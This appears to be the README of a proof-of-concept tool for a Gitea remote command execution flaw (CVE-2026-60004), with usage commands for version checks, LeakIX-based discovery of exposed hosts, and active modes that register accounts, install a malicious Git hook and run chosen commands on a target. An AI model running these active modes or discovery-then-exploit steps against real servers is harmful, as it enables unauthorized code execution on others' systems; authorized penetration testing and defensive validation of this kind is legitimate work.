
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
A standalone discovery, assessment, and contract-correlated validation tool for the Gitea
diffpatchGit-hook remote code execution vulnerability.
scanner.py gives penetration testers, defenders, and security researchers one dependency-free tool for:
This project is provided only for authorized security testing, defensive validation, research, and education. Run active modes solely against systems you own or have explicit written permission to assess. You are responsible for complying with all applicable laws, contracts, rules of engagement, and disclosure requirements.
The authors and contributors are not responsible for misuse, damage, service interruption, data loss, or legal consequences. The active PoC executes a command as the Gitea operating-system user and changes server state by creating a private repository. Treat it like any other RCE validation tool.
CVE-2026-60004 affects Gitea's repository diffpatch workflow. A repository writer can submit controlled patch content that installs a Git hook in a shared bare temporary clone. Applying the crafted patch twice triggers an add/add collision and causes the hook to execute as the Gitea service account.
Forgejo and other forks are not automatically classified as vulnerable. Their implementation must be reviewed independently.
The active modes do not accept target lists or wildcards.
PATHdiscoverThe scanner uses only Python's standard library. No pip install is required.
git clone https://github.com/InfoSec-DB/CVE-2026-60004-Gitea-Validator.git
cd CVE-2026-60004-Gitea-Validator
python3 scanner.py --help
python3 scanner.py verify \
https://gitea.example \
--contract-number ENG-2026-001 \
--output evidence/version.json
python3 scanner.py recon \
https://gitea.example \
--contract-number ENG-2026-001 \
--output evidence/recon.json
Version detection is an assessment signal, not proof of exploitability. Backported patches, custom builds, reverse proxies, and forks can require manual review.
Keep the password out of shell history by placing it in the environment for the command:
GITEA_PASSWORD='replace-with-approved-test-password' \
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--username audit-user \
--execute-poc \
--write-client-marker \
--output evidence/confirmation.json
Unless --yes-i-am-authorized is supplied for automation, confirm asks you to type the contract-bound confirmation phrase. The default remote command is id.
Use this only when account creation is permitted by the rules of engagement:
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--register-test-account \
--credential-log evidence/credentials.txt \
--execute-poc \
--write-client-marker \
--output evidence/confirmation.json
The password is stored only in the private credential log, not duplicated into the JSON evidence or terminal result panel.
python3 scanner.py test \
https://gitea.example \
--contract-number ENG-2026-001
🚨 test is an active convenience command. On an affected target with registration enabled, it automatically creates an account and private repository, writes the contract marker, runs id, and saves results beneath afterdark-results/. It intentionally has no extra interactive prompt, so invoking it is the authorization acknowledgement.
For narrowly scoped, explicitly approved validation, confirm and test accept --cmd. Prefer the default id profile whenever it is sufficient.
GITEA_PASSWORD='replace-with-approved-test-password' \
python3 scanner.py confirm \
https://gitea.example \
--contract-number ENG-2026-001 \
--username audit-user \
--execute-poc \
--cmd 'uname -a' \
--output evidence/confirmation.json
export LEAKIX_API_KEY='replace-with-your-key'
python3 scanner.py discover \
--method app \
--pages 3 \
--output evidence/leakix.json
To inspect LeakIX records for one known host without contacting that host:
python3 scanner.py discover \
--method host \
--target gitea.example \
--pages 1 \
--output evidence/leakix-host.json
Discovery results are leads, not authorization to scan or exploit the listed systems.
hooks/post-index-change file.diffpatch API endpoint.0600 files and refuses to overwrite existing evidence.Authenticated HTTP redirects are restricted to the selected target origin. Git output retrieval also disables redirects while the authorization header is active.
Active runs may produce:
confirmation.json — timestamps, target, account name, version assessment, return code, and captured outputconfirmation.command-output.txt — full remote command outputcredentials.txt — generated disposable-account password, when requestedembedded-result.txt content preserved inside the JSON evidenceThese files can contain sensitive engagement data. They are ignored by the included .gitignore, created with mode 0600, and should be encrypted at rest according to your evidence-handling policy.
The tool deliberately avoids automatic deletion so evidence remains available for review. After testing, a target administrator should:
audit-* account, if one was createdafterdark-* repository/tmp/gitea-validation-*/client.txt marker1.27.1 or laterSuccessful PoC execution demonstrates command execution as the Gitea service account. It does not by itself prove root access, persistence, lateral movement, or compromise of the underlying host.
id or whoami--execute-poc switch for confirmThe included tests are local and make no network requests:
python3 -m unittest discover -s tests -v
Responsible improvements are welcome—especially compatibility fixes, false-positive reductions, evidence-quality improvements, and safer cleanup workflows. Please do not submit real target details, credentials, private evidence, or weaponized payloads.
For a security issue in this tool itself, follow SECURITY.md.
Made for careful researchers who believe a good PoC should be reproducible, attributable, and boring to clean up. 🛡️
| Item | Detail |
|---|
| Product | Gitea |
| Affected releases | >= 1.17.0, < 1.27.1 |
| Patched release | 1.27.1 |
| Impact | Remote command execution as the Gitea OS user |
| Access required | Repository write access; open registration may allow an attacker to create it |
| Advisory | GHSA-rcr6-4jqh-j84m |
| Mode | Network behavior | Changes target state? | Purpose |
|---|
discover | Queries LeakIX only | No | Searches an existing third-party index; it does not contact discovered hosts |
recon | One exact target | No | Inventories fixed public routes and the target-published Swagger document |
verify | One exact target | No | Reads /api/v1/version and classifies the reported Gitea version |
test | One exact target | Yes | Convenience flow: version gate, registration check, disposable account, marker, id, and evidence |
confirm | One exact target | Yes | Controlled confirmation with an approved account or explicit disposable registration |